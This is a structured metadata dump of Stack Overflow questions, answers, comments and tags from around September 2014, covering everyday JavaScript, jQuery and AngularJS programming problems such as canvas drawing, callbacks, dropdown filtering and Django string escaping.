score: 4
upvote count: 4
downvote count: 0
type: Answer

http://stackoverflow.com/comment/40391469
comment on: http://stackoverflow.com/a/25819492
type: Comment
has text: Thanks for your answer. I know that I can use children instead. I am asking about explanation of the output: I was expecting that I have 9 child node elements starting form Page Title till Sixth Paragraph , where do these text nodes come from? and why the rest html tags are not included as child nodes?
type: AnswerComment
score: 0

http://stackoverflow.com/q/25830777
score: 0
type: UnansweredQuestion
has body: How would I go about spawning in enemies once the current enemies hit an x location of 900? it would have to be like if(enemy.x&lt;=900){ //spawn enemies } here is a jsfiddle to show you what I mean, the blocks moving left i want to have multiples of them http://jsfiddle.net/h8u1n3fj/ I need the current enemies to stay on the board while these are spawned as well, and just have it so that there are multiple groups of enemies that stay on the board after each time a person hits 900. var requestAnimFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame; window.requestAnimationFrame = requestAnimFrame var place = [74,111,148,185,222,259,296,333,370]; var rand = place[Math.floor(Math.random()*place.length)]; var rand2 = place[Math.floor(Math.random()*place.length)]; var rand3 = place[Math.floor(Math.random()*place.length)]; var rand4 = place[Math.floor(Math.random()*place.length)]; var rand5 = place[Math.floor(Math.random()*place.length)]; var rand6 = place[Math.floor(Math.random()*place.length)]; var rand7 = place[Math.floor(Math.random()*place.length)]; var rand8 = place[Math.floor(Math.random()*place.length)]; var rand9 = place[Math.floor(Math.random()*place.length)]; console.log(rand); var move = setInterval(function () { enemy.x -= 45; }, 500); //drawing the character function drawChar(x,y){ enemy.y = rand; enemy.y2 = rand2; enemy.y3 = rand3; enemy.y4 = rand4; enemy.y5 = rand5; enemy.y6 = rand6; enemy.y7 = rand7; enemy.y8 = rand8; enemy.y9 = rand9; context.drawImage(tile3,enemy.x,enemy.y,tileWidth,tileHeight); context.drawImage(tile3,enemy.x,enemy.y2,tileWidth,tileHeight); context.drawImage(tile3,enemy.x,enemy.y3,tileWidth,tileHeight); context.drawImage(tile3,enemy.x,enemy.y4,tileWidth,tileHeight); context.drawImage(tile3,enemy.x,enemy.y5,tileWidth,tileHeight); context.drawImage(tile3,enemy.x,enemy.y6,tileWidth,tileHeight); context.drawImage(tile3,enemy.x,enemy.y7,tileWidth,til…
has answer: http://stackoverflow.com/a/25830980
has title: drawimage multiple times on canvas
type: Question
answer count: 1
tagged with: javascript

http://stackoverflow.com/a/25757933
score: 0
has body: Here is. DEMO: http://jsfiddle.net/don/0t1sm71z/ Step by step: Get the value selected. Use each() to check if any option has the same value. Hide the values using hide() or attr('disabled', 'disabled'). And show the other values using show() or removeAttr('disabled'). CHECK DEMO: http://jsfiddle.net/don/0t1sm71z/ Ready HTML: Choose One Two Three Choose One Two Three Ready jQuery/Javascript: $(document).ready(function() { $('.dropdown').change(function() { // Get the current value var selectedOption = $(this).val(); // Check if any option has the same value $('.dropdown option').each(function(){ if($(this).val() == selectedOption && $(this).is(':selected') != true) { // If yes, hide this option $(this).hide(); } else { // If not, show the option $(this).show(); } }); }); });
type: Answer
answers question: http://stackoverflow.com/q/25757457
has comment: http://stackoverflow.com/comment/40304375

mocha.js
tags question: http://stackoverflow.com/q/25714193
tags question: http://stackoverflow.com/q/25852653
tags question: http://stackoverflow.com/q/25837817
tags question: http://stackoverflow.com/q/25755659
tags question: http://stackoverflow.com/q/25750777
tags question: http://stackoverflow.com/q/25783161
tags question: http://stackoverflow.com/q/25809930
tag name: mocha.js
tags question: http://stackoverflow.com/q/25782649
type: Tag
tags question: http://stackoverflow.com/q/25770946
tags question: http://stackoverflow.com/q/25715078

http://stackoverflow.com/q/25805073
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/11605917
has body: I want to load a list of colleges from an ajax call and display in UI. I am using AngularJS framework for this example. the bellow code if for College.html Add/Manage Colleges <ng-view /> The below code is for list.html, College-ID College-Name Edit College {{college.collegeId}} {{college.collegeName}} Edit Add College The below code is from college.js, angular.module("CollegeModule",[]) .constant("collegeListURL","../rest/ser/college/list/One") .controller("CollegeController",function($location, $http, collegeListURL){ $location.url("/loadingImage"); $http.get(collegeListURL).success(function(data){ this.collegeList = data; $location.url("/college/list"); }); this.editCollege = function(college){ this.selectedCollege = college; } } in the above code please look at the code for $http.get(collegeListURL).success(function(data){ this.collegeList = data; $location.url("/college/list"); }); the 'this' keyword don't work for the success method, so i replaced the above code with the below block of code (function(collegeCntrl){ $http.get(collegeListURL).success(function(data){ collegeCntrl.collegeList = data; $location.url("/college/list"); }); })(this); And it worked. So my question is the code which worked for me can be a good practice in AngularJS controller, or there is a other way to refer 'this' ?
tagged with: javascriptmvc
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/25805193
has comment: http://stackoverflow.com/comment/40364371
tagged with: javascript
has answer: http://stackoverflow.com/a/25805457
score: 0
has comment: http://stackoverflow.com/comment/40364261
possible better answer: http://stackoverflow.com/a/25805457
has comment: http://stackoverflow.com/comment/40367703
tagged with: angularjs
has title: the 'this' keyword don't work for $http 'success' method in Controller of Angular
has answer: http://stackoverflow.com/a/25805193
has comment: http://stackoverflow.com/comment/40364275

http://stackoverflow.com/q/25769435
has comment: http://stackoverflow.com/comment/40343263
favorite count: 0
answer count: 0
type: UnansweredQuestion
has body: I am working on this web application, it uses Javascript and Openlayers etc. I have this block of code that throws errors at me all the time onSelectRow: function(id) { if (id &amp;&amp; id !== lastSel) { jQuery(this).restoreRow(lastSel); lastSel = id - 1; } subMarkerArray[id - 1] = reportingAvlMap.bringToFront(subMarkerArray[id - 1]); latLonPoint.transform(fromProjection, reportingAvlMap.map.baseLayer.projection); reportingAvlMap.map.setCenter(latLonPoint, reportingAvlMap.map.zoom); subMarkerArray[id - 1].setAnimation(google.maps.Animation.BOUNCE); setTimeout(function() { subMarkerArray[id - 1].setAnimation(null); }, 750); }, The following line var latLonPoint = subMarkerArray[id - 1].attributes.lonlat.clone(); Gives me this error: Uncaught TypeError: Cannot read property 'clone' of undefined And the following line subMarkerArray[id - 1].setAnimation(google.maps.Animation.BOUNCE); Gives me this error: Uncaught TypeError: undefined is not a function Can anyone help me by pointing me in the right direction please?
upvote count: 1
has title: Openlayers errors with clone and setAnimation
type: Question
tagged with: google-maps
downvote count: 0
tagged with: javascript
tagged with: jquery
tagged with: openlayers
has comment: http://stackoverflow.com/comment/40343307
score: 1

jaydata
tag name: jaydata
type: Tag
tags question: http://stackoverflow.com/q/25789185

http://stackoverflow.com/q/25745813
has comment: http://stackoverflow.com/comment/40256358
accepted answer: http://stackoverflow.com/a/25746544
has title: Callback function to _.each?
has answer: http://stackoverflow.com/a/25746062
type: AnsweredQuestion
has body: I am trying to generate dynamic content to my HTML using underscore's templating feature. The code is the following: Examinador de Baliza <% _.each(c.getExaminadores(), function(examinador){ %> <img width = '80' height = '80' src= "data:image/jpeg;base64,<%= examinador.fotografia %>"> <%= examinador.nome %> <% }); %> Now, I need to capture the object pertaining the 'li' element the user clicks on it. How can I implement an event listener that on click can capture the object 'examinador' of the current 'li' element? I don't have much experience with javascript, so bear with me.
tagged with: underscore.js
score: 0
possible better answer: http://stackoverflow.com/a/25746062
has answer: http://stackoverflow.com/a/25746544
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40299080
type: Comment
has text: `$scope.errMsg = "Hi.";` IS just setting a string, You need to do something else that triggers the code that upates the DOM. With the limited code, your question is impossible to answer.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25769405

http://stackoverflow.com/comment/40334576
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25788960
has text: I dont know why that works out on jsfiddle but that line makes it execute two ToggleSlides each time. which is wrong
type: AnswerComment

http://stackoverflow.com/q/25868643
tagged with: django
type: Question
type: AnsweredQuestion
score: 1
has title: How to escape quotes when setting a javascript string to the value propagated from a Django variable?
upvote count: 1
has answer: http://stackoverflow.com/a/25868700
accepted answer: http://stackoverflow.com/a/25868700
answer count: 1
tagged with: javascript
has body: I'm propagating several variables to my template, some of which are strings that I want to use and manipulate through javascript. I'm setting this value as such: var venue_toc = "{{terms_and_conditions}}"; terms_and_conditions is capable of having quotes in it itself, so I need to escape those in order for things to work as expected. What is the correct way to do that when bringing values up from Django?
tagged with: python
favorite count: 0
downvote count: 0

http://stackoverflow.com/q/25738511
upvote count: 1
has comment: http://stackoverflow.com/comment/40243696
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40243900
has title: Using line break with chart labels is not working
has body: So I have a label and a value, I would like for their to be a line break in between on my circles like this label value no matter what I do though I d3 keeps them in line labelvalue I've used the br tag but even with that I get the same result, what am I doing wrong? Here is the line of code I use written in coffeescript .html( (d) -&gt; d.label + "&lt;br&gt;" + d.value" ) here is also a jfiddle of what I am working on (all in coffeescript) http://jsfiddle.net/nmv07mj6/1/
answer count: 0
downvote count: 0
tagged with: d3.js
type: UnansweredQuestion
score: 1
tagged with: coffeescript
type: Question
has comment: http://stackoverflow.com/comment/40244153
has comment: http://stackoverflow.com/comment/40246214

http://stackoverflow.com/a/25821941
type: Answer
has body: They are working on that, but it might take a few weeks. Your best bet is to simply install all needed resources and generate the sample project yourself. This takes about 2 minutes of your time and you will have the source code of all resources available. Here is a step by step guide: https://www.npmjs.org/package/generator-famous
answers question: http://stackoverflow.com/q/25743777
score: 0

http://stackoverflow.com/q/25749309
tagged with: jsoup
linked to: http://stackoverflow.com/q/12625043
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40272888
answer count: 1
accepted answer: http://stackoverflow.com/a/25772593
has title: Using jsoup to parse a "dynamic" page
favorite count: 0
has body: I'm working on a project for school and Im having trouble parsing a webpage. I call it "dynamic" because the content changes every time we change a search parameter. This is the link https://en.mygon.com/#!guia/todas-as-categorias/portugal/amanha/qualquer-hora When you click it, it will show some search results. However I can't find them in the page source code, but I do identify that the search is related to a script (i think). &lt;input id="search-words-button" type="button" class="action submit" onClick="searchWordsElement();" value="GO"/&gt; How can i use jsoup to parse the results from this page? Thank you
upvote count: 1
has comment: http://stackoverflow.com/comment/40262570
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25772593
type: Question

http://stackoverflow.com/q/25815398
has comment: http://stackoverflow.com/comment/40383722
tagged with: javascript
has comment: http://stackoverflow.com/comment/40384270
has comment: http://stackoverflow.com/comment/40383989
has body: I have tried to connect to a HTML file in the same directory using href, but it gives me an error loading page. It gives the following error: XMLHttpRequest cannot load file:///C:/Users/Nadeesha/Desktop/Collect/FounderR.html. Received an invalid response. Origin 'null' is therefore not allowed access. What can I do to solve this? &lt;a data-theme="d" data-corners="false" data-role="button" href="FounderR.html"&gt; &lt;img src="images/icons/round/64x64/entr.gif" alt="entr" style="display: block; margin: 0 auto"&gt; Founder &lt;/a&gt;
score: 0
has comment: http://stackoverflow.com/comment/40383480
has comment: http://stackoverflow.com/comment/40384817
answer count: 1
tagged with: jquery
has comment: http://stackoverflow.com/comment/40383366
has comment: http://stackoverflow.com/comment/40383503
has comment: http://stackoverflow.com/comment/40384982
has comment: http://stackoverflow.com/comment/40384621
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/20035101
has title: Unable to connect external HTML file using jQuery button link
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40384473
linked to: http://stackoverflow.com/q/4208530
has comment: http://stackoverflow.com/comment/40384434
linked to: http://stackoverflow.com/q/9446055
has answer: http://stackoverflow.com/a/25816321
accepted answer: http://stackoverflow.com/a/25816321
has comment: http://stackoverflow.com/comment/40385059
type: Question
has comment: http://stackoverflow.com/comment/40383552
has comment: http://stackoverflow.com/comment/40383938

http://stackoverflow.com/comment/40311840
has text: If you mean in the SVG itself yes (the SVG or the image tag attributes), if you mean the data in the SVG's image tag, i.e. the contents of SVGImage.svg then the answer is no.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25775635

http://stackoverflow.com/q/25768330
has comment: http://stackoverflow.com/comment/41180698
has title: Jquery print area print css colors
favorite count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: css
has body: I'm using printarea jquery: https://github.com/RitsC/PrintArea But I'm having a little trouble to print colors when I printing I want to print like this when I print https://imagizer.imageshack.us/v2/815x185q90/673/ImZBHd.jpg That's what I have: https://imagizer.imageshack.us/v2/437x549q90/674/dDkSRU.jpg this is my JS: $('#imprimir').on('click', function(){// busca os dados ao clicar no botão $(".area_impressao").printArea({ mode : "iframe", standard : "html5", popTitle : 'relatorio', popClose : false, extraCss : '../css/impressao_retrato.css', extraHead : '', retainAttr : ["id","class","style"], printDelay : 500, // tempo de atraso na impressao printAlert : true, printMsg : 'Aguarde a impressão' }); }); I Also tried to change this line but didnt work: extraCss : '../css/impressao_retrato.css, ../css/style.css, ../css/main.css', Thanks in advance!
score: 1
type: Question
has comment: http://stackoverflow.com/comment/41232500
has answer: http://stackoverflow.com/a/28864433
tagged with: javascript
tagged with: jquery
tagged with: jquery-plugins
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/40327171
has text: No....that is ember.js
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25784494
type: QuestionComment

http://stackoverflow.com/q/25743263
has body: This is probably a basic question because I'm not particularly good at javascript and don't understand closures etc. So I'm having trouble getting variable values to pass into the call backs. In this code, how can I get the value of id to pass to the success function handler so it's available when the function returns back? $(document).on("click","#media-edit-form .fancybox-submit", function(event){ var form = $(this).parents('form:first'); var token = $("meta[name='_csrf']").attr("content"); var header = $("meta[name='_csrf_header']").attr("content"); var postData = form.serializeArray(); var id = postData["id"]; event.preventDefault ? event.preventDefault() : event.returnValue = false; var jqxhr = $.ajax( { url: form.attr('action'), type: 'POST', data: postData, headers: {'X-CSRF-TOKEN': token}, } ) .success(function(xhr) { var refreshZoneId = '#image-block' + id; var refreshZone = $(refreshZoneId); alert('refreshing'); }) .fail(function() { alert( "error" ); }); });
has comment: http://stackoverflow.com/comment/40251233
has title: how to get value from local variable in success function of jquery request
has comment: http://stackoverflow.com/comment/40251343
type: Question
has comment: http://stackoverflow.com/comment/40251207
has comment: http://stackoverflow.com/comment/40251424
answer count: 1
has comment: http://stackoverflow.com/comment/40251503
has comment: http://stackoverflow.com/comment/40251421
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40251430
has comment: http://stackoverflow.com/comment/40251530
has comment: http://stackoverflow.com/comment/40251765
score: 0
has comment: http://stackoverflow.com/comment/40251719
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25743461

http://stackoverflow.com/comment/40479578
has text: Yeah right for time being I am executing the code on my indexpage :P . Its doing the trick but . Suppose we sent a url to user in an email and that contains the page that I have the google add. So in that case my code is not running . Maybe I will try to use the other option you mentioned :) .
type: Comment
comment on: http://stackoverflow.com/a/25868345
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40430151
has text: @BethTanner were you able to find the function name discrepancy or fix the encoding problem?
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25830368
score: 0

http://stackoverflow.com/comment/40262339
comment on: http://stackoverflow.com/a/25747340
type: Comment
score: 0
type: AnswerComment
has text: @Roemer if you would take the time to explain why you think you need to do this, somebody might be able to suggest a completely different approach to the larger problem you're facing.

http://stackoverflow.com/q/25867126
has body: I want to stick child div to bottom when parent div touches the browser bottom. P.S : This should happen when the parent div is pushed down not when scrolled down. For example in my demo there is a content panel which is hidden. If you click on expand link you get to see the expanded content (which is pushing the bottom_content div to the bottom). But accordion is just an example, there will be some other element which will be pushing the bottom_content div down. So I dont want to write stick function with reference to accordion. It should stick down only when bottom_content div touches the bottom of the browser and when there is no much content in the page then the child div should stay as it is like child of the bottom_content Parent div: bottom_content Child div: footer Here is my code currently used, which is not proper $('.expandble_conetnt a').click(function(event){ event.preventDefault(); $(this).next('span').slideToggle(); }); //this is for stick to the bottom var stickyHeaderbottom = $('.footer').offset().top; $(window).scroll(function () { if ($(window).scrollTop() &gt; stickyHeaderbottom) { $('.footer').css({ position: 'fixed', bottom: '0px', width: '95%', left: '2.5%' }); } else { $('.footer').css({ position: 'static', bottom: '0px', width: '100%' }); } }); DEMO
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40478772
tagged with: css
type: AnsweredQuestion
has title: stick child to bottom when parent div touches the browser bottom
score: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/25912519
type: Question
has comment: http://stackoverflow.com/comment/40478773
has comment: http://stackoverflow.com/comment/40558908
tagged with: javascript
has comment: http://stackoverflow.com/comment/40559829
has comment: http://stackoverflow.com/comment/40478863
answer count: 2
downvote count: 0
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25869309
has comment: http://stackoverflow.com/comment/40478515
favorite count: 0
has answer: http://stackoverflow.com/a/25912519
has answer: http://stackoverflow.com/a/25869309

http://stackoverflow.com/a/25809005
has body: You can assign to $_GET just like any other array: $_GET['num'] = 20; include("result.php"); however, that is not recommended, since now $_GET no longer actually represents the query string parameters of your request. Is there a reason you can't just use $num from within result.php?: // If $num isn't set (by index.php), set it from the query string parameter if ( ! isset( $num ) ) $num = $_GET['num']; if($num == 20) { ...
answers question: http://stackoverflow.com/q/25808914
has comment: http://stackoverflow.com/comment/40371250
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25808914

http://stackoverflow.com/comment/40277296
has text: possible duplicate of [Point in Polygon aka hit test](http://stackoverflow.com/questions/217578/point-in-polygon-aka-hit-test)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25757179
score: 0

eval
tags question: http://stackoverflow.com/q/25823024
type: Tag
tags question: http://stackoverflow.com/q/25788143
tags question: http://stackoverflow.com/q/25790212
tag name: eval
tags question: http://stackoverflow.com/q/25713955
tags question: http://stackoverflow.com/q/25843397

http://stackoverflow.com/a/25813963
type: Answer
downvote count: 1
answers question: http://stackoverflow.com/q/25813752
score: -1
has comment: http://stackoverflow.com/comment/40380934
upvote count: 0
has body: This is what I would do function escapeRegExp(str) { return str.replace(/[-[\/{}*+?.\\\]^$]/g, "\\$&amp;"); } var code = document.body.innerHTML; array.forEach(function(v) { code = code.replace(new RegExp(escapeRegExp(v)), "g"), "&lt;em&gt;"+v+"&lt;/em&gt;") } document.body.innerHTML = code; I am avoiding multiple assignments to innerHTML to avoid unnecessary reflows (performance)

http://stackoverflow.com/comment/40306633
type: Comment
type: QuestionComment
score: 0
has text: The javascript is in the pageb.aspx page markup. The page would open then disappear. I was trying to debug the JavaScript that gets fired when pageb loads, so I added an alert and a debugger statements to it, but saw this weird behavior:
comment on: http://stackoverflow.com/q/25771363

http://stackoverflow.com/a/25806170
type: Answer
has comment: http://stackoverflow.com/comment/40366779
has body: You have the wrong syntax for a DataTable. try doing this instead: echo "['$COND_CODE', '$PEICE_NO' ],"; } ?&gt;
answers question: http://stackoverflow.com/q/25803895
score: 0
has comment: http://stackoverflow.com/comment/40366621

http://stackoverflow.com/comment/40457352
comment on: http://stackoverflow.com/a/25839572
type: AnswerComment
score: 0
has text: @CupOfJoe Arguably I think you could use directives in your controller - just inject `$element` and use jqLite and `$compile` to add a directive. I've never done that and I think it's probably horrible practice, but should be possible. I'd read the API about providers, factories, services, run blocks and config blocks and play around with them so that you know which are eager, which are on demand and the order.
type: Comment

http://stackoverflow.com/a/25717191
has comment: http://stackoverflow.com/comment/40223532
has comment: http://stackoverflow.com/comment/40203225
has comment: http://stackoverflow.com/comment/40219014
upvote count: 1
has comment: http://stackoverflow.com/comment/40223453
has comment: http://stackoverflow.com/comment/40262895
has comment: http://stackoverflow.com/comment/40218979
has body: One workaround is to toString the function and then store it in localStorage. Then, when you retrieve the object from localStorage, you eval the function. Here's a quick demo that demonstrates (it's very stupid and can be optimized/enhanced based on your needs...): http://jsfiddle.net/nmef7utv/ function pack(obj){ var packedObj = {}; for (key in obj) { // If obj property is a function, toString() it. if (obj[key] &amp;&amp; obj[key].constructor === Function) { packedObj[key] = obj[key].toString(); } else { packedObj[key] = obj[key]; } } return JSON.stringify(packedObj); } function unpack(obj) { // Temporary variable to hold eval'd func, if needed var temp; // Parse obj to loop obj = JSON.parse(obj); for (key in obj) { if (typeof obj[key] === "string") { eval('temp =' + obj[key]); // Assign eval'd function obj[key] = temp; } else { obj[key] = obj[key]; } } return obj; } In the fiddle, I have: // Packed Item localStorage.setItem('test', pack(Hello)); // Unpack testObj = unpack(localStorage.getItem('test')); testObj.handle_pong(); Hope this is of help!
type: Answer
has comment: http://stackoverflow.com/comment/40262914
answers question: http://stackoverflow.com/q/25716514
has comment: http://stackoverflow.com/comment/40269919
has comment: http://stackoverflow.com/comment/40218693
downvote count: 0
has comment: http://stackoverflow.com/comment/40203516
has comment: http://stackoverflow.com/comment/40268444
has comment: http://stackoverflow.com/comment/40261991
has comment: http://stackoverflow.com/comment/40268818
has comment: http://stackoverflow.com/comment/40224747
has comment: http://stackoverflow.com/comment/40237438
has comment: http://stackoverflow.com/comment/40271310
score: 1
has comment: http://stackoverflow.com/comment/40233031
has comment: http://stackoverflow.com/comment/40262966

http://stackoverflow.com/comment/40410768
type: AnswerComment
type: Comment
has text: Hi Andrew, glad you found some closure here although you still consider it an Angular issue. Based on reading the discussion linked above by PSL though it seems to be a problem with the HTML parsers in web browsers rather than a problem with angular itself. The thing is the browser is going to be interpreting/parsing the HTML before angular has a chance to pass over it to smooth things like this out. So I think they closed the bug since it can't be fixed in Angular or any other JS framework itself, rather it's a browser bug.
comment on: http://stackoverflow.com/a/25830097
score: 2

http://stackoverflow.com/a/25838468
has comment: http://stackoverflow.com/comment/40426539
downvote count: 0
answers question: http://stackoverflow.com/q/25838420
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40425831
has body: Depending on where that code is it may be running prior to the DOM being created in which case you're attempting to bind event listeners to elements that do not yet exist. try this: function get_div_id(){ var f_id = $(this).attr("id"); alert(f_id); } $(document).ready(function(){ $('.divs_same_class_diferent_id').click(get_div_id); // notice no anonymous function, this works because // we're passing in the function object for get_div_id });
has comment: http://stackoverflow.com/comment/40425694

http://stackoverflow.com/a/25849997
accepted answer of: http://stackoverflow.com/q/25849978
downvote count: 0
answers question: http://stackoverflow.com/q/25849978
has comment: http://stackoverflow.com/comment/40446766
has comment: http://stackoverflow.com/comment/40446698
has comment: http://stackoverflow.com/comment/40446717
has comment: http://stackoverflow.com/comment/40446311
has comment: http://stackoverflow.com/comment/40446661
has comment: http://stackoverflow.com/comment/40446390
score: 5
has comment: http://stackoverflow.com/comment/40446515
has comment: http://stackoverflow.com/comment/40446217
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40446568
has comment: http://stackoverflow.com/comment/40446651
upvote count: 5
has body: You can use .getScript() and run your code after it loads: $.getScript("my_lovely_script.js", function(){ alert("Script loaded and executed."); // here you can use anything you defined in the loaded script }); You can see a better explanation here: How do I include a JavaScript file in another JavaScript file? Edit: Since you're returning actual javascript and would like to execute it, you can simply do this in your ajax response: $.get(url,function(data){ $("body").append(data); }); Edit: And with help from Mike's answer, you can use eval() to run the script if you don't have script tags in your response. His answer gives more info on this.
type: Answer
has comment: http://stackoverflow.com/comment/40446679

http://stackoverflow.com/comment/40480335
has text: @FelixKling for me this make more sense. Dog.prototype = Object.create(Animal.prototype); This approach do exactly what i want
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25859436

http://stackoverflow.com/q/25821667
has comment: http://stackoverflow.com/comment/40397432
tagged with: laravel
has answer: http://stackoverflow.com/a/25821973
type: Question
tagged with: javascript
has title: Angular/Laravel views and routing
score: 0
answer count: 1
has body: I'm starting a new project and using Angular. I'm new to Angular and appreciate any help: I've created a new project and added these two lines to my routes.php file: Blade::setContentTags('<%', '%>'); Blade::setEscapedContentTags('<%%', '%%>'); I then have a route: Route::get('/', function() { return View::make('layouts.app'); }); That view has this HTML in it: Curve @include('home') The home.php file has the below HTML in it: Toggle Navigation Curve Sign Up Sign In Inside of my document root/public I have a js folder with controllers, services, and partials. I then have two files app.js and config.js. App.js: var curveApp = angular.module('curveApp', [ 'ngRoute', 'curveControllers' ]); Config.js curveApp.config(['$routeProvider', function($routeProvider) { $routeProvider. when('/register', { templateUrl: 'partials/register.html', controller: 'RegisterCtrl' }); } ]); How can I have Angular use the HTML files from project/public/js/partials according to the config file without refreshing the page when switching the HTML view?
tagged with: angularjs
type: UnansweredQuestion

http://stackoverflow.com/comment/40431770
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25841615
has text: console log.. what _faqs[i] is showing

http://stackoverflow.com/comment/40405013
comment on: http://stackoverflow.com/a/25827268
type: AnswerComment
score: 1
type: Comment
has text: It still doesn't print errors to the console and does not provide any info on where the error occurred. By errors I mean things that you're not 'planning' to catch, e.g. type errors that might occur within the promise, etc.

http://stackoverflow.com/q/25720576
has comment: http://stackoverflow.com/comment/40209910
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40255793
type: Question
has comment: http://stackoverflow.com/comment/40277977
has comment: http://stackoverflow.com/comment/40247395
tagged with: javascript
tagged with: chat
score: 0
has answer: http://stackoverflow.com/a/25721398
has comment: http://stackoverflow.com/comment/40209951
answer count: 1
has body: I am trying to create a chat application using node js and mongodb. I am looking on a tutorial for this. I couldn't solve a error that states socket is not defined while running my file server.js. The code in server Js is var mongo = require('mongodb').MongoClient, client = require('socket.io').listen(8080).sockets; console.log(mongo); mongo.connect('mongodb://@127.0.0.1/chat',function(err,db) { if(err) throw err; client.on('connection',function() { //Wait for Input socket.on('input',function(data) { console.log(data); }); }); }); The error is created when i wanted to listen socket on input.When i try to define socket as socket =io.connect('http://127.0.0.1:8080'); It again gives error stating io not defined. Isn't io global on nodejs? Please enlighten me on this.
has title: socket is not defined while running a server on Node Js
has comment: http://stackoverflow.com/comment/40212535
tagged with: sockets
tagged with: node.js
has comment: http://stackoverflow.com/comment/40209952

http://stackoverflow.com/q/25797934
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/48339197
has title: Filtering with AngularJS within an Object
answer count: 0
has comment: http://stackoverflow.com/comment/40604874
type: Question
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40351869
has body: I've been beating myself up over this for the past two days and I cant find a solution. I'm trying to filter a set of articles based off of their tags. I've used an ng-repeat to repeat the article and display the data coming from my API. But cant seem to get the filter correct. Here is an example of the Article Object {"id":"05390344-57f8-4f2a-ada0-0705edacd0ef","type":"Article","title":"Lorem title","topics":[{"Id":"bb2a6222-34b1-4abd-8d19-c07eb7ff4d0c","Name":"Pajamas"},{"Id":"7f752e06-092b-473a-9f4e-b79796c7ab7b","Name":"Undies"},{"Id":"bd533c42-90e9-4dce-9316-e3be6c8fc55c","Name":"Briefs"}],"synopsis":" Lorem Ipsem synposis ","date":"August 20, 2014","time":"9:28 AM","source":"Localhost","url":"#"} My controller contains $scope.filterTopics = {}; function getChecked(obj) { var checked = []; for (var key in obj) if (obj[key]) checked.push(key); return checked; } $scope.searchFilter = function (row) { var topicChecked = getChecked($scope.filterTopics); if (topicChecked.length == 0) return true; else { if ($scope.filterTopics[row.topics]) return true; } }; $scope.$watch('cards', function (cards) { $scope.count = 0; angular.forEach(cards, function (card) { if (card.filterTopics) { $scope.count += 1; } }) }); My view to create the ng-repeat Then I have checkboxes that I can click to pass search filter the topic Id ng-model="filterTopics['@topic.Id'] Any help would be great!!!! Solution was to add a for loop to grab each object for (var i in row.topics) { if (topicChecked.indexOf(row.topics[i].Id) != -1) { return true; } }
tagged with: angularjs

http://stackoverflow.com/comment/40470241
comment on: http://stackoverflow.com/a/25862825
score: 0
type: Comment
has text: notice that if uploadify sees new browser - it will use what ive done here ^. you should modify it to use flash and not html5
type: AnswerComment

http://stackoverflow.com/comment/40272662
comment on: http://stackoverflow.com/q/25754378
type: Comment
type: QuestionComment
score: 1
has text: `without a refresh`.. you're looking about [$.ajax](http://api.jquery.com/jquery.ajax/)

http://stackoverflow.com/comment/40347973
has text: Please ignore the above comment.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25780567
type: AnswerComment

cryptography
tag name: cryptography
type: Tag
tags question: http://stackoverflow.com/q/25725596
tags question: http://stackoverflow.com/q/25816818

http://stackoverflow.com/comment/40334729
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25789014
has text: You could use a macro to do this. I personally find that easier then typing the regex replace
type: Comment

http://stackoverflow.com/a/25790536
has comment: http://stackoverflow.com/comment/40337326
accepted answer of: http://stackoverflow.com/q/25790444
answers question: http://stackoverflow.com/q/25790444
type: AcceptedAnswer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40337533
type: Answer
has comment: http://stackoverflow.com/comment/40337470
has comment: http://stackoverflow.com/comment/40337450
has body: Jade is compiled as HTML, so no, there is no way to use jade templates in your jQuery. What you can do, however, is write snippets in jade, compile them, and save them to your webserver (such as post_template.html), then load file with jquery, create a jQuery element from the loaded text, and then change properties and contents of the elements within the new element. Then you append the element to the page. This approach would allow you to avoid writing html in your jQuery. //Wrap this in the code that gets updates $.get( "templates/post.html", function( data ) { var el = $(data); //If you want to change specific properties var title = el.children('h1'); title.text('My new text'); el.appendTo('ul#postList'); }); If you wanted to do this on click, for example, just wrap that function in a click handler for some element on the page that you want to use to trigger new item.
upvote count: 1

http://stackoverflow.com/q/25830847
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40411750
